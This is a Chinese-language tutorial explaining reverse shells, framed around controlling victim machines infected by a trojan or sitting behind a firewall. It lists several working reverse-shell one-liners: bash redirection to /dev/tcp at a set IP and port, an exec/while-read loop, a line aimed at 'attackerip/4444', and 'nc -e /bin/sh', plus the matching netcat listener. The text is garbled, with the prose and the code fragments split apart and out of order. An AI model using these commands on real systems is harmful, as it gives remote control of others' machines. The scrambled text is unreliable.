反弹shell是什么意思
时间:2023-05-12 03:20
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。 反弹 通俗点说,反弹 为什么要反弹 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面, 那么什么情况下正向连接不太好用了呢: 1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 2.它的 3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。 4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。 那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹 我们用 攻击端:10.100.40.5 受害机:192.168.197.136 首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的 然后在受害机执行命令 我们就发现,在我们的攻击端已经成功出现了我们的受害端的 例如: (1) (2) (3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的 我们输出字符到 受害端: 攻击端: (4) 下面我们在看将输出转移到到受害端,在攻击端继续监听 (5)这样思路就比较清晰了,下面再说交互重定向: 为了实现交互,我们需要把受害者交互式 在受害者机器上输入: 然后我们发现无论输入什么指令都不会有回显,回显出现在了攻击端标准输出被定向到了攻击端。 这样只是回显而已,并没有办法在攻击端直接执行命令。 (6)所以我们还需要将攻击者输入的指令输入给受害者的 这样就会做到在攻击端输入命令,回显到受害端: (7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到 命令: 受害端: 攻击端: 我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由 这样命令就不会回显到受害端了。 就算是错误输出也会输出到攻击端,这样就达到了我们的目的。 (1) 方法一 这两个几乎是一样的唯一的区别是 (2) 方法二 (3) 方法三 (4) 方法四 以上就是反弹shell是什么意思的详细内容,更多请关注Gxl网其它相关文章!0x00 前言
shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。web
服务,ssh
,telnet
等等,都是正向连接。ip
会动态改变,你不能持续控制。shell
。0x01 反弹shell演示
bash
远程代码执行漏洞实例来了解一下他的原理shell
在攻击端输入命令nc -l 2333
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
shell
,在我们的攻击端就能对受害端来进行下一步操作0x02 原理
2.1 反弹shell的命令原理
bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:socket
通信/dev/tcp
这个文件中2333
端口,并且在攻击端输入内容回车就会出现在受害端。shell
的输出重定向到攻击机上;bash -i > /dev/tcp 10.100.40.5/2333
bash
:bash -i < /dev/tcp/10.100.40.5/2333
/dev/tcp
这个文件下。bash -i > /dev/tcp/10.100.40.5/2333 0>&1
/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
2.2 常见反弹shell方法
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
0>&1
和0<&1
,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。bash -i >& /dev/tcp/10.100.40.5/2333 <&2bash -i >& /dev/tcp/10.100.40.5/2333 0<&2
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
nc -e /bin/sh 10.100.40.5 2333